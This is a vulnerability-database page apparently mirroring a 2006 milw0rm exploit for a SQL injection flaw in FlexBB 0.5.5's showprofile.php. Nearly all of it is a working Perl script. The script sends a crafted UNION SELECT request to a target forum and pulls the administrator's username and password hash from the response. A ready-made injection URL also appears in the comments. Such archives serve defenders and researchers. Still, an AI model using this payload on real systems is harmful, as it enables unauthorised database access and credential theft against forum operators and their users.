Lucene search
K

FlexBB <= 0.5.5 (function/showprofile.php) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

FlexBB <= 0.5.5 SQL Injection Exploi

Code

                                                #!/usr/bin/perl
use IO::Socket;
#FlexBB Exploit [ function/showprofile.php ] Remote SQL Injection
#
#        1- First Do Login
#        2- View This Link :D
#
#        index.php?page=showprofile&id=-1&#39; UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM flexbb_users WHERE id=1/*
#
#-----------------------------------------------#
#
#--[ D3vil-0x1 | Devil-00 ]--#
#
# SecurityGurus.net
#               Div The PHP Security Fucking Tool :D

##-- Start --#

$host         = &#34;127.0.0.1&#34;;
$path         = &#34;/flexbb/&#34;;
$injec        = &#34;-1&#39;%20UNION%20ALL%20SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8%20FROM%20flexbb_users%20WHERE%20id=1/*&#34;;

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/
#
#        $mycookie             :-
#                                Your Login Info To Forum *  Not The Real Password || The Hashed One *


$sock = IO::Socket::INET-&#62;new (
                                                                                PeerAddr =&#62; &#34;$host&#34;,
                                                                                PeerPort =&#62; &#34;80&#34;,
                                                                                Proto    =&#62; &#34;tcp&#34;
                                                                                ) or die(&#34;[!] Connect To Server Was Filed&#34;);

##-- DONT TRY TO EDIT ME --##
$evildata  = &#34;GET &#34;.$path.&#34;index.php?page=showprofile&id=&#34;.$injec.&#34; HTTP/1.1\n&#34;;
$evildata .= &#34;Host: $host \n&#34;;
$evildata .= &#34;Accept: */* \n&#34;;
$evildata .= &#34;Keep-Alive: 300\n&#34;;
$evildata .= &#34;Connection: keep-alive \n\n&#34;;

print $sock $evildata;

while($ans = &#60;$sock&#62;){
       $usr_newans = $ans;
       $pwd_newans = $ans;
       #print $newans;
       $usr_newans =~ m/&#60;title&#62;FlexBB - Viewing Profile: (.*?)&#60;\/title&#62;/ && print &#34;[+] Username is :- &#34;.$1.&#34;\n&#34;;
       $pwd_newans =~ m/&#60;a href=&#34;2&#34; target=&#34;_blank&#34;&#62;(.*?)&#60;\/a&#62;/ && print &#34;[+] Password is :- &#34;.$1.&#34;\n&#34;;
}

# milw0rm.com [2006-04-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
38